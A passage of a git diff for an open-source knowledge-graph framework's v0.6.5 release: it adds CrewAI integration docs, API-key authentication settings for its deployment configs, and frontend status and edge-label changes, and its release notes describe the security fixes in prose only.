support for agentic frameworks. Every major LLM provider is already supported via `semantica.llms` and LiteLLM: OpenAI, Anthropic, Gemini, Mistral, Llama, Groq, Cohere, Azure, Bedrock, Ollama, DeepSeek, HuggingFace, and more. MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below. @@ -1303,6 +1300,11 @@ MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below. Agno
First-class · pip install semantica[agno] + +CrewAI
+CrewAI
+First-class · pip install semantica[crewai] + Already Supported via REST API & MCP @@ -1319,11 +1321,6 @@ MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below. REST API · MCP -CrewAI
-CrewAI
-REST API · MCP - - LlamaIndex
LlamaIndex
REST API · MCP @@ -1354,11 +1351,6 @@ MCP setup takes 30 seconds — see [MCP Server](#mcp-server) below. Dedicated toolkit -CrewAI
-CrewAI
-Dedicated toolkit - - LlamaIndex
LlamaIndex
Dedicated toolkit @@ -1474,12 +1466,18 @@ For contributor / dev-server setup: **[explorer/README.md: Local Setup Guide](ex --- -## What's New in v0.6.0 +## What's New in v0.6.5 -- **Named-Graph Support for `JenaStore`:** Migrated onto `rdflib.Dataset(default_union=False)`, completing cross-backend named-graph parity across Blazegraph, RDF4J, and Jena; `add_triplets()` gains a `graph=` option -- **SPARQL CONSTRUCT Query Templates:** Parameterized, injection-safe `CONSTRUCT` templates extended from Blazegraph-only to RDF4J and Jena, plus pipeline integration via the `construct_template` step type -- **Databricks Connector:** `DatabricksIngestor` for Unity Catalog + Delta Lake ingestion, with PAT/OAuth M2M auth, table/query ingestion, and catalog/schema/table/lineage introspection. Install with `pip install "semantica[db-databricks]"` -- **SQLite Vector Store Backend:** `SQLiteVecStore`, a disk-backed local vector store on `sqlite-vec`'s `vec0` virtual tables, with Cosine/L2 metrics, metadata filtering, and WAL mode. Install with `pip install semantica[vectorstore-sqlite]` +**Security release — upgrading is strongly recommended.** Fixes for 5 externally-reported vulnerabilities in the Explorer API and graph/triplet store backends, plus a CodeQL-flagged ReDoS: + +- **Missing authentication on all Explorer API routes** (GHSA-j4mq-hprp-987v, Critical): every route now requires `SEMANTICA_API_KEY`, fails closed (503) rather than open when unconfigured +- **SSRF via redirect bypass in ontology URL fetching** (GHSA-8c7v-62gr-hj6g, High): redirect targets are now re-validated at every hop and the connection is pinned to the validated address, closing a DNS check-then-use race +- **Cypher injection via unvalidated node labels and property keys** (GHSA-482h-hw99-h62p, Critical): Neptune, Neo4j, and FalkorDB now sanitize every label/relationship-type/property-key interpolation site +- **SPARQL injection via unvalidated triplet IRIs** (GHSA-8vgg-8mr4-r236, Critical): Blazegraph, RDF4J, and Jena now validate subject/predicate/object IRIs before interpolation +- **Missing Origin validation on the WebSocket handshake** (GHSA-4643-wpgq-w329, Moderate, anonymous-mode only): `/ws/graph-updates` now checks `Origin` against the same allowlist `CORSMiddleware` enforces for HTTP +- **Polynomial ReDoS in SPARQL query validation** (CodeQL `py/polynomial-redos`): fixed a backtracking regex in the Explorer's SPARQL route + +Also includes: embedded Oxigraph backend for `TripletStore`, PROV-O trust/spec completeness for `ProvenanceManager`, and the Altair Anzo triplet store backend. → [Full release notes](RELEASE_NOTES.md) · [Changelog](CHANGELOG.md) @@ -1497,6 +1495,8 @@ Semantica is designed for environments where AI outputs must be explainable, aud - **Cybersecurity:** Threat attribution, incident response timelines, and IOC provenance tracking - **Autonomous Systems:** Decision logs, safety validation, and explainable AI for certification +> ⚠️ **This is system-level explainability, not foundation-model explainability.** Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. What Semantica explains is *outside* the model: the context and data fed in, the decision produced, its provenance, the relevant relationships, the policies applied, and the full execution trail. In short, Semantica explains and audits what the AI system did, not the LLM's private internal reasoning. + --- ## Installation @@ -1508,6 +1508,7 @@ pip install semantica[all] # everything ```bash pip install semantica[agno] # Agno multi-agent integration +pip install semantica[crewai] # CrewAI integration pip install semantica[llm-litellm] # OpenAI, Anthropic, Gemini, Mistral, Llama, Groq, Cohere, Bedrock, Ollama, DeepSeek, and more pip install semantica[graph-neo4j] # Neo4j graph store (LPG) pip install semantica[graph-falkordb] # FalkorDB graph store (LPG) diff --git a/deploy/fly/README.md b/deploy/fly/README.md index 5c5d1258..ba0dc2b6 100644 --- a/deploy/fly/README.md +++ b/deploy/fly/README.md @@ -9,7 +9,10 @@ flyctl launch --copy-config --config deploy/fly/fly.toml --no-deploy # Fly.io private networking uses .internal hostnames — do not use localhost # unless FalkorDB is a co-located process inside the same Machine. flyctl secrets set FALKORDB_HOST=.internal FALKORDB_PORT=6379 +flyctl secrets set SEMANTICA_API_KEY=$(openssl rand -hex 32) flyctl deploy --config deploy/fly/fly.toml ``` Change `app` in `fly.toml` before launch if the default app name is already taken. + +Fly apps get a public `*.fly.dev` URL by default, so `SEMANTICA_API_KEY` is required — without it the Explorer refuses every protected route (503) rather than serving anonymously. Pass the same value as the `X-API-Key` header from any client that talks to the deployed API. diff --git a/deploy/railway/README.md b/deploy/railway/README.md index a42163ca..b755a032 100644 --- a/deploy/railway/README.md +++ b/deploy/railway/README.md @@ -9,7 +9,10 @@ railway add --database redis railway variable --set "FALKORDB_HOST=${{Redis.REDISHOST}}" railway variable --set "FALKORDB_PORT=${{Redis.REDISPORT}}" railway variable --set "ALLOWED_ORIGINS=https://${{RAILWAY_PUBLIC_DOMAIN}}" +railway variable --set "SEMANTICA_API_KEY=$(openssl rand -hex 32)" railway up ``` The Redis plugin variables are wired to the requested FalkorDB env names for deployment compatibility. The Explorer currently reads these settings but does not persist graph state to FalkorDB. + +Railway exposes this service on a public domain, so `SEMANTICA_API_KEY` is required — without it the Explorer refuses every protected route (503) rather than serving anonymously. Pass the same value as the `X-API-Key` header from any client that talks to the deployed API. diff --git a/deploy/render/README.md b/deploy/render/README.md index e252527a..d4652ac5 100644 --- a/deploy/render/README.md +++ b/deploy/render/README.md @@ -9,3 +9,5 @@ render blueprint apply deploy/render/render.yaml ``` After creation, update `ALLOWED_ORIGINS` in the Render dashboard if you attach a custom domain. + +`SEMANTICA_API_KEY` is auto-generated by the blueprint (`generateValue: true`) since this service gets a public `onrender.com` URL — without it the Explorer refuses every protected route (503) rather than serving anonymously. Find the generated value in the Render dashboard's environment tab and pass it as the `X-API-Key` header from any client that talks to the deployed API. diff --git a/deploy/render/render.yaml b/deploy/render/render.yaml index d0776749..5f385d01 100644 --- a/deploy/render/render.yaml +++ b/deploy/render/render.yaml @@ -20,6 +20,8 @@ services: type: keyvalue name: semantica-explorer-redis property: port + - key: SEMANTICA_API_KEY + generateValue: true - type: keyvalue name: semantica-explorer-redis diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index 5ff13b8d..495f8ef7 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -16,6 +16,8 @@ services: ALLOWED_ORIGINS: http://localhost:5173,http://127.0.0.1:5173,http://localhost:8000,http://127.0.0.1:8000 FALKORDB_HOST: falkordb FALKORDB_PORT: "6379" + # Local dev only: this compose file is not for public exposure. + SEMANTICA_ALLOW_ANONYMOUS: "true" volumes: - ./semantica:/app/semantica - ./pyproject.toml:/app/pyproject.toml:ro diff --git a/docker-compose.yml b/docker-compose.yml index 746b6bf3..43336d3b 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -8,6 +8,11 @@ services: FALKORDB_HOST: falkordb FALKORDB_PORT: "6379" ALLOWED_ORIGINS: ${ALLOWED_ORIGINS:-http://localhost:8000,http://127.0.0.1:8000} + # Required for API access - the Explorer refuses all protected routes + # (503) until this is set. Generate one with `openssl rand -hex 32`. + SEMANTICA_API_KEY: ${SEMANTICA_API_KEY:-} + # Trusted local-only setups only: bypasses the API key entirely. + SEMANTICA_ALLOW_ANONYMOUS: ${SEMANTICA_ALLOW_ANONYMOUS:-false} depends_on: falkordb: condition: service_started diff --git a/docs/citation.md b/docs/citation.md index e33c566f..d1077887 100644 --- a/docs/citation.md +++ b/docs/citation.md @@ -13,33 +13,33 @@ icon: "quote-left" ```bibtex @software{semantica2026, - title = {Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering}, - author = {Hawksight AI}, + title = {Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems}, + author = {Semantica}, year = {2026}, url = {https://github.com/semantica-agi/semantica}, - version = {0.6.0}, + version = {0.6.5}, doi = {10.5281/zenodo.XXXXXXX} } ``` - Hawksight AI. (2026). *Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering* (Version 0.6.0) \[Computer software\]. https://github.com/semantica-agi/semantica + Semantica. (2026). *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems* (Version 0.6.5) \[Computer software\]. https://github.com/semantica-agi/semantica - Hawksight AI. *Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering*. Version 0.6.0, GitHub, 2026, https://github.com/semantica-agi/semantica. + Semantica. *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems*. Version 0.6.5, GitHub, 2026, https://github.com/semantica-agi/semantica. - Hawksight AI. *Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering*. Version 0.6.0. GitHub, 2026. https://github.com/semantica-agi/semantica. + Semantica. *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems*. Version 0.6.5. GitHub, 2026. https://github.com/semantica-agi/semantica. - Hawksight AI, "Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering," Version 0.6.0, GitHub, 2026. \[Online\]. Available: https://github.com/semantica-agi/semantica + Semantica, "Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems," Version 0.6.5, GitHub, 2026. \[Online\]. Available: https://github.com/semantica-agi/semantica ## Acknowledgment Text -> "This work uses Semantica (Hawksight AI, 2026), an open-source framework for semantic layer construction and knowledge engineering." +> "This work uses Semantica (2026), an open-source graph-native infrastructure framework for context and accountable AI systems, providing Context Graphs, knowledge graphs, and full decision provenance." ## Share Your Research diff --git a/docs/concepts.md b/docs/concepts.md index 698ef7d9..e05564f5 100644 --- a/docs/concepts.md +++ b/docs/concepts.md @@ -16,6 +16,9 @@ At its core, Semantica adds a **context and accountability layer** on top of you - **Accountability Layer** — Provenance tracking, decision intelligence, conflict detection, and W3C PROV-O compliance make every claim in your AI stack auditable and explainable. - **Extension Layer** — `PluginRegistry` and `MethodRegistry` let you replace or augment any component: ingestors, extractors, reasoning engines, backends: without changing framework code. + + **This is system-level explainability, not foundation-model explainability.** Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. What Semantica explains is *outside* the model: the context and data fed in, the decision produced, its provenance, the relevant relationships, the policies applied, and the full execution trail. In short, Semantica explains and audits *what the AI system did*, not the foundation model's private internal reasoning. + ## Knowledge Graphs diff --git a/docs/docs.json b/docs/docs.json index f52cdbd6..d2ad5da2 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -102,6 +102,7 @@ "group": "Integrations", "pages": [ "integrations/agno", + "integrations/crewai", "integrations/docling", "integrations/snowflake", "integrations/databricks" diff --git a/docs/explorer-setup.md b/docs/explorer-setup.md index f023730e..4d8caa1f 100644 --- a/docs/explorer-setup.md +++ b/docs/explorer-setup.md @@ -162,7 +162,7 @@ semantica-explorer --graph my_graph.json --no-browser ``` - `--host 0.0.0.0` makes Explorer reachable on every network interface. The server has no built-in authentication. Only use this on a trusted private network. + `--host 0.0.0.0` makes Explorer reachable on every network interface. Since v0.6.5 the Explorer API requires `SEMANTICA_API_KEY` (sent as the `X-API-Key` header) and fails closed with `503` when unconfigured; unauthenticated access is only possible when `SEMANTICA_ALLOW_ANONYMOUS=true` is set explicitly. Only use this on a trusted private network. diff --git a/docs/faq.md b/docs/faq.md index 8cead87c..05c708c1 100644 --- a/docs/faq.md +++ b/docs/faq.md @@ -17,7 +17,7 @@ icon: "circle-question" | API key required? | Optional: pattern extraction works with no keys | | Works with LangChain / LlamaIndex? | Yes: Semantica is a layer on top, not a replacement | | Production-ready? | Yes: 1,000+ tests, v0.5.0 ships with 12 security fixes | -| Latest version? | **v0.6.0** (July 2026) | +| Latest version? | **v0.6.5** (August 2026) | | Local LLMs? | Yes: Ollama via LiteLLM, HuggingFaceLLM for air-gapped | @@ -52,6 +52,16 @@ Semantica works alongside these frameworks, not against them. + + +No. This is **system-level explainability, not foundation-model explainability**. Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. + +What Semantica explains is *outside* the model: what context and data were used, what decision was produced, the provenance behind it, the relevant relationships, the policies applied, and the resulting decision trail. + +In short: Semantica explains and audits *what the AI system did* — not the foundation model's private internal reasoning. + + + Yes: MIT licensed, no vendor lock-in, no paywalled features. Some capabilities require third-party API keys (e.g., OpenAI embeddings, Groq inference), but Semantica itself is always free and open source. diff --git a/docs/getting-started.md b/docs/getting-started.md index 20aeffef..ee442fed 100644 --- a/docs/getting-started.md +++ b/docs/getting-started.md @@ -42,7 +42,7 @@ icon: "rocket" Verify installation: ```python import semantica - print(semantica.__version__) # 0.6.0 + print(semantica.__version__) # 0.6.5 ``` diff --git a/docs/index.md b/docs/index.md index 80ce7b12..a16d0107 100644 --- a/docs/index.md +++ b/docs/index.md @@ -192,7 +192,11 @@ decision_id = context.record_decision( ## Built for Where Mistakes Have Consequences -Semantica was designed for domains where every decision must be explainable and every fact must be traceable: +Semantica was designed for domains where every decision must be explainable and every fact must be traceable. + + + **This is system-level explainability, not foundation-model explainability.** Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. What Semantica explains is *outside* the model: the context and data fed in, the decision produced, its provenance, the relevant relationships, the policies applied, and the full execution trail. See [Core Concepts](concepts) for the full scope note. + **Healthcare & Life Sciences** - Clinical decision support with full audit trails diff --git a/docs/integrations/crewai.md b/docs/integrations/crewai.md new file mode 100644 index 00000000..fb555cda --- /dev/null +++ b/docs/integrations/crewai.md @@ -0,0 +1,147 @@ +--- +title: "CrewAI Integration" +description: "Give CrewAI crews a shared semantic knowledge graph, decision intelligence, and graph-based retrieval via three drop-in components." +icon: "users" +--- + +> Three drop-in components that bring Semantica's knowledge graph and decision intelligence into any CrewAI crew. + +## Installation + +```bash +pip install "semantica[crewai]" +``` + +Requires `crewai >= 0.80.0`. If `crewai` is not installed, the integration still imports — every class carries the full Semantica API and degrades gracefully, but cannot be passed to a `Crew`. + +## Components at a Glance + +- **SemanticaKGTool** — `Agent(tools=[…])`: 5 KG construction/query actions: extract entities, extract relations, add to graph, query graph, find related. +- **SemanticaDecisionTool** — `Agent(tools=[…])`: 5 decision intelligence actions: record decisions, find precedents, trace causal chains, analyze impact, check policies. +- **SemanticaKnowledgeSource** — `Crew(knowledge_sources=[…])`: Serializes a `ContextGraph` into CrewAI knowledge storage so every agent gets retrieval access to the graph. + +## Component Details + + + + Lets agents actively **build and query** a shared `ContextGraph` mid-reasoning. + + ```python + from crewai import Agent, Crew, Task + from semantica.context import ContextGraph + from integrations.crewai import SemanticaKGTool + + graph = ContextGraph() + + analyst = Agent( + role="Knowledge Analyst", + goal="Build and explore a knowledge graph from documents", + backstory="You map entities and relationships into a shared graph.", + tools=[SemanticaKGTool(graph=graph)], + ) + + crew = Crew( + agents=[analyst], + tasks=[Task( + description="Extract and link key entities from the brief", + expected_output="JSON", + agent=analyst, + )], + ) + crew.kickoff() + ``` + + | Tool | Description | + | :------ | :------------- | + | `extract_entities` | Extract named entities from `text` | + | `extract_relations` | Extract relationships between entities in `text` | + | `add_to_graph` | Extract entities/relations from `text` and add them to the shared graph | + | `query_graph` | Keyword-search the graph by node id, type, and content using `query` | + | `find_related` | Find concepts related to `entity` within `hops` hops | + + All actions return JSON so agents get parseable results. + + **Sharing a graph:** the tool reads/writes whatever `graph` you pass in. When no `graph` is given, a fresh in-memory `ContextGraph()` is created (and a warning is logged) — two tool instances that each auto-create their own graph do **not** share knowledge. Pass the same `ContextGraph` to every agent that must share state. + + + Exposes Semantica's decision intelligence as a native CrewAI tool, backed by `AgentContext`. + + ```python + from crewai import Agent, Crew, Task + from integrations.crewai import SemanticaDecisionTool + + planner = Agent( + role="Decision Planner", + goal="Make grounded, precedented decisions", + backstory="You record decisions and validate them against policy.", + tools=[SemanticaDecisionTool()], + ) + + crew = Crew(agents=[planner], tasks=[...]) + ``` + + When no `AgentContext` is passed, one is created in-memory with `decision_tracking=True` and its own `ContextGraph`, so decision actions work out of the box (a warning is logged — pass the same `AgentContext` to every agent that must share decision state). Missing optional fields in `record_decision` fall back to `category="general"`, `reasoning="agent decision"`, and `outcome="recorded"`. `find_precedents` returns up to `max_precedents` results. If a knowledge graph cannot trace causality, `trace_causal_chain` returns an explicit error rather than substituting similarity-based results. + + | Tool | Description | + | :------ | :------------- | + | `record_decision` | Record a decision with reasoning, outcome, and confidence | + | `find_precedents` | Search for similar past decisions | + | `trace_causal_chain` | Trace the causal chain from a decision | + | `analyze_impact` | Assess downstream influence of a decision | + | `check_policy` | Validate a proposed decision against policy rules | + + + Gives **every agent in the crew** retrieval access to a `ContextGraph`. + + ```python + from crewai import Agent, Crew, Task + from semantica.context import ContextGraph + from integrations.crewai import SemanticaKnowledgeSource + + graph = ContextGraph() + graph.add_node(node_id="privacy", node_type="policy", content="...") + + researcher = Agent( + role="Policy Researcher", + goal="Answer questions from the knowledge base", + backstory="You retrieve from graph knowledge to answer accurately.", + ) + + crew = Crew( + agents=[researcher], + tasks=[...], + knowledge_sources=[SemanticaKnowledgeSource(graph=graph)], + ) + ``` + + On kickoff the graph's nodes and edges are serialized, chunked, and stored through CrewAI's knowledge pipeline. + + > **Embedder required:** storing chunks goes through CrewAI's knowledge pipeline, which needs an embedder to be configured. Set `Crew(embedder=...)` (or provide the default credentials CrewAI falls back to, e.g. `OPENAI_API_KEY`). If no working embedder is configured, storage fails, an ERROR is logged, and agents will retrieve **nothing** — the crew still runs, but its knowledge queries return empty. + + **Compatibility:** CrewAI's `BaseKnowledgeSource` contract changed between `0.80.x` and current releases (`load_content()` → `validate_content()`/`aadd()`). `SemanticaKnowledgeSource` implements both legacy and current methods, so it works across `crewai>=0.80.0`. + + + +## Checkpoints & Serialization + +CrewAI serializes tools and knowledge sources to JSON for checkpointing/resume. Live Semantica state (`ContextGraph`, `AgentContext`, extractors) is **excluded from that serialization** — a restored tool/source comes back with a fresh in-memory `ContextGraph` and logs a warning. Until you re-attach the live graph/context, the restored objects answer queries against an **empty** graph, so re-wire them after resuming (e.g. `restored_tool.graph = live_graph`) before agents continue. + +## API Reference + +```python +from integrations.crewai import ( + SemanticaKGTool, # BaseTool: KG construction/query actions + SemanticaDecisionTool, # BaseTool: decision intelligence actions + SemanticaKnowledgeSource, # BaseKnowledgeSource: graph → crew knowledge + CREWAI_AVAILABLE, # bool: True if crewai is installed +) +``` + +All three classes are usable without `crewai` installed: they carry the full Semantica API and degrade gracefully. + +## See Also + +- [Context Module](../reference/context) — AgentContext and ContextGraph backing the integration. +- [Semantic Extraction](../reference/semantic_extract) — NERExtractor / RelationExtractor used by SemanticaKGTool. +- [LLMs](../reference/llms) — Configure LLM providers for your crew's agents. +- [Vector Store](../reference/vector_store) — Vector backend used by SemanticaDecisionTool. diff --git a/docs/reference/export.md b/docs/reference/export.md index 49df715e..eef19e94 100644 --- a/docs/reference/export.md +++ b/docs/reference/export.md @@ -203,6 +203,13 @@ export_lpg(graph, "import.cypher", method="cypher") exporter = SemanticNetworkYAMLExporter() exporter.export(graph, "graph.yaml") ``` + + The YAML exporters read `entities`/`relationships`/`triplets` (with + `nodes`/`edges` accepted as aliases, so `ContextGraph.to_dict()` exports + directly). A non-empty mapping supplying none of them raises + `ValidationError` rather than writing a file with every collection empty, + as does one whose collection value is not a list of records + (`{"entities": "abc"}`). **LPGExporter** writes Cypher `CREATE` statements for Neo4j and Memgraph: @@ -236,6 +243,12 @@ export_lpg(graph, "import.cypher", method="cypher") Both exporters write to a file and return `None`. + `LPGExporter`, `ArangoAQLExporter`, and `Neo4jCSVExporter` resolve mapping + payloads on the same terms as the YAML exporters above, so an unrecognized + or malformed mapping is rejected instead of exported as an empty graph. + `Neo4jCSVExporter` still reads graph *objects* off their + `nodes`/`entities` and `edges`/`relationships` attributes. + **`ArangoAQLExporter.export()` and `LPGExporter.export()` write to a file and return `None`.** They do not return the AQL/Cypher string. Write to a file and read it back if you need the string. diff --git a/explorer/README.md b/explorer/README.md index 3884aaee..39103f49 100644 --- a/explorer/README.md +++ b/explorer/README.md @@ -63,7 +63,9 @@ semantica-explorer --graph my_graph.json --no-browser python -m semantica.explorer --graph my_graph.json ``` -> **Security note:** The Explorer API has no built-in authentication. The default `--host 127.0.0.1` binds to localhost only, so it is not reachable from other machines on your network. If you bind to `0.0.0.0`, all graph data is readable and writable by any host that can reach the port. The CLI will print a warning in that case. +> **Security note:** Since v0.6.5 the Explorer API requires an API key on protected routes. Set the `SEMANTICA_API_KEY` environment variable and send it as the `X-API-Key` header; without a configured key, protected routes fail closed with `503` rather than serving anonymously. To opt into unauthenticated access for local development only, set `SEMANTICA_ALLOW_ANONYMOUS=true` explicitly. (`/api/health` and `/api/info` are intentionally unauthenticated.) +> +> The default `--host 127.0.0.1` binds to localhost only, so it is not reachable from other machines on your network. If you bind to `0.0.0.0`, all graph data is readable and writable by any host that can reach the port (subject to API-key auth). The CLI prints a warning when binding to a non-loopback host in anonymous mode or when `SEMANTICA_API_KEY` is unset. --- @@ -148,6 +150,8 @@ This writes the compiled assets to `../semantica/static/`. The Python server the | --- | --- | --- | | `EXPLORER_CORS_ORIGINS` | `http://localhost:5173,http://127.0.0.1:5173` | Comma-separated list of allowed CORS origins | | `EXPLORER_CORS_CREDENTIALS` | `false` | Set to `true` to allow credentialed cross-origin requests (only needed behind an authenticating reverse proxy) | +| `SEMANTICA_API_KEY` | *(unset)* | API key required on protected routes since v0.6.5; send it as the `X-API-Key` header. When unset, protected routes fail closed with `503`. | +| `SEMANTICA_ALLOW_ANONYMOUS` | `false` | Set to `true` to opt into unauthenticated access (local development only). | --- @@ -251,6 +255,11 @@ Vite automatically tries the next available port and prints the actual URL in th - Confirm the backend exposes the `/ws/graph-updates` WebSocket endpoint. - Check DevTools → Network → WS tab for the connection status and error code. - Ensure the backend version matches the frontend — mixing major versions can cause protocol mismatches. +- **Authentication:** `/ws/graph-updates` enforces the same API key as the REST routes. Browsers cannot set custom headers on a WebSocket handshake, so pass the key as a query parameter instead: + ``` + ws://127.0.0.1:8000/ws/graph-updates?api_key= + ``` + Non-browser clients (native apps, scripts) may send it as the `X-API-Key` header. A missing or incorrect key results in close code `4401`; if `SEMANTICA_API_KEY` is unset and `SEMANTICA_ALLOW_ANONYMOUS` is not `true`, the connection is also rejected. Note that API keys in URLs appear in server logs — prefer the header for non-browser clients. --- diff --git a/explorer/package.json b/explorer/package.json index 72e36f73..162f2bc0 100644 --- a/explorer/package.json +++ b/explorer/package.json @@ -9,7 +9,7 @@ "lint": "eslint .", "preview": "vite preview", "test:graph-store": "node --test tests/graphStore.multi-edge.test.mjs", - "test:graph-workspace": "node --import tsx --test tests/graphSceneState.display.test.ts", + "test:graph-workspace": "node --import tsx --test tests/graphSceneState.display.test.ts tests/temporalLifecycle.test.ts", "test:plugin-registry": "node --import tsx --test tests/pluginRegistry.temporal.test.mjs" }, "dependencies": { diff --git a/explorer/src/App.tsx b/explorer/src/App.tsx index f3f97520..8f94d477 100644 --- a/explorer/src/App.tsx +++ b/explorer/src/App.tsx @@ -67,6 +67,14 @@ type GraphStatsPayload = { edges?: number; }; +type ConnectionStatus = 'checking' | 'online' | 'offline'; + +const CONNECTION_STATUS_LABEL: Record = { + checking: 'Connecting…', + online: 'System Online', + offline: 'Backend Unreachable', +}; + const queryClient = new QueryClient(); const PREVIEW_DOTS = Array.from({ length: 42 }, (_, i) => ({ @@ -719,19 +727,34 @@ const shellStyles = ` align-items: center; gap: 10px; margin-bottom: 24px; + --status-color: #4cc38a; + --status-shadow-a: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5); + --status-shadow-b: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35); + } + + .landing-status-bar[data-status='checking'] { + --status-color: #f2b66d; + --status-shadow-a: 0 0 0 3px rgba(242, 182, 109, 0.22), 0 0 12px rgba(242, 182, 109, 0.5); + --status-shadow-b: 0 0 0 5px rgba(242, 182, 109, 0.1), 0 0 20px rgba(242, 182, 109, 0.35); + } + + .landing-status-bar[data-status='offline'] { + --status-color: #ff7b72; + --status-shadow-a: 0 0 0 3px rgba(255, 123, 114, 0.22), 0 0 12px rgba(255, 123, 114, 0.5); + --status-shadow-b: 0 0 0 5px rgba(255, 123, 114, 0.1), 0 0 20px rgba(255, 123, 114, 0.35); } .landing-status-dot { width: 8px; height: 8px; border-radius: 999px; - background: #4cc38a; - box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5); + background: var(--status-color); + box-shadow: var(--status-shadow-a); animation: landing-pulse 2.4s ease-in-out infinite; } .landing-status-text { - color: #4cc38a; + color: var(--status-color); font: 700 11px/1 "JetBrains Mono", monospace; letter-spacing: 0.1em; text-transform: uppercase; @@ -1323,8 +1346,8 @@ const shellStyles = ` } @keyframes landing-pulse { - 0%, 100% { box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5); } - 50% { box-shadow: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35); } + 0%, 100% { box-shadow: var(--status-shadow-a); } + 50% { box-shadow: var(--status-shadow-b); } } .workspace-loading { @@ -1494,10 +1517,10 @@ function WelcomeScreen({ onOpenDecisions: () => void; onOpenManage: () => void; }) { - const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; ready: boolean }>({ + const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; status: ConnectionStatus }>({ nodes: null, edges: null, - ready: false, + status: 'checking', }); useEffect(() => { @@ -1507,31 +1530,32 @@ function WelcomeScreen({ .then((response) => (response.ok ? response.json() as Promise : null)) .then((payload) => { if (!payload) { - setStats((current) => ({ ...current, ready: false })); + setStats((current) => ({ ...current, status: 'offline' })); return; } setStats({ nodes: getNumberStat(payload, ['node_count', 'nodeCount', 'nodes']), edges: getNumberStat(payload, ['edge_count', 'edgeCount', 'edges']), - ready: true, + status: 'online', }); }) .catch((error: unknown) => { if (error instanceof DOMException && error.name === 'AbortError') { return; } - setStats((current) => ({ ...current, ready: false })); + setStats((current) => ({ ...current, status: 'offline' })); }); return () => controller.abort(); }, []); + const isOnline = stats.status === 'online'; const metrics: LandingMetric[] = [ { label: 'Knowledge nodes', value: formatMetric(stats.nodes, 'Live'), tone: 'cyan' }, { label: 'Relationships mapped', value: formatMetric(stats.edges, 'Ready'), tone: 'mint' }, { label: 'Graph modes', value: '3', tone: 'amber' }, - { label: stats.ready ? 'Dataset online' : 'Ready to explore', value: stats.ready ? 'Active' : 'Standby', tone: 'rose' }, + { label: isOnline ? 'Dataset online' : 'Ready to explore', value: isOnline ? 'Active' : 'Standby', tone: 'rose' }, ]; const secondaryLaunchers: LandingAction[] = [ @@ -1574,9 +1598,9 @@ function WelcomeScreen({ {/* ── Hero ── */}
-
+
- System Online + {CONNECTION_STATUS_LABEL[stats.status]}
Semantica v2 · Semantic Intelligence
diff --git a/explorer/src/workspaces/GraphWorkspace/GraphCanvas.tsx b/explorer/src/workspaces/GraphWorkspace/GraphCanvas.tsx index 998be21a..bb9abe1f 100644 --- a/explorer/src/workspaces/GraphWorkspace/GraphCanvas.tsx +++ b/explorer/src/workspaces/GraphWorkspace/GraphCanvas.tsx @@ -162,7 +162,11 @@ const SIGMA_SETTINGS = { hideLabelsOnMove: true, hideEdgesOnMove: true, enableEdgeEvents: true, - renderEdgeLabels: false, + // #1009: edge labels (the edge `type` — "works_for", "leads", ...) were + // hardcoded off, so edge text never rendered regardless of data. The + // labelDensity / labelGridCellSize / labelRenderedSizeThreshold settings + // below already throttle label density for both nodes and edges. + renderEdgeLabels: true, labelDensity: 0.7, labelGridCellSize: 140, zIndex: true, @@ -741,6 +745,12 @@ function buildEffectAvailability( ? { enabled: true, available: true, reason: "Panel enabled" } : { enabled: false, available: false, reason: "Disabled by toggle" }; + // #1009: edge labels are immediately available once the graph is loaded — + // they have no async analytics or zoom-tier dependency. + const edgeLabels = effectsState.edgeLabelsEnabled + ? { enabled: true, available: true, reason: "Ready" } + : { enabled: false, available: false, reason: "Disabled by toggle" }; + const diagnostics = !GRAPH_THEME.effects.diagnostics.enabledInDev ? { enabled: false, available: false, reason: "Disabled in production" } : effectsState.diagnosticsEnabled @@ -758,6 +768,7 @@ function buildEffectAvailability( communities, centrality, legend, + edgeLabels, diagnostics, }; } @@ -1211,6 +1222,12 @@ function applySceneState( size: resolvedStyle.size, zIndex: resolvedStyle.zIndex, curvature: resolvedStyle.curvature, + // #1009: Sigma's edge label renderer draws data.label — the graph + // stores the relationship type in edgeType, which the renderer never + // saw, so enabling renderEdgeLabels alone left edges blank. + // Use || rather than ?? so that an empty-string edgeType (possible + // when the API returns type: "") does not produce a blank label. + label: resolvedStyle.hidden ? undefined : String(attrs.edgeType || data.label || ""), }; }); @@ -1295,6 +1312,9 @@ export const GraphCanvas = forwardRef( const onEdgeClickRef = useRef(onEdgeClick); const onSceneRuntimeChangeRef = useRef(onSceneRuntimeChange); const onCameraStateChangeRef = useRef(onCameraStateChange); + // #1009: tracked as a ref so the Sigma creation effect always reads the + // current value without needing effectsState in its dependency array. + const effectsStateRef = useRef(effectsState); const [hoveredNodeId, setHoveredNodeId] = useState(null); const 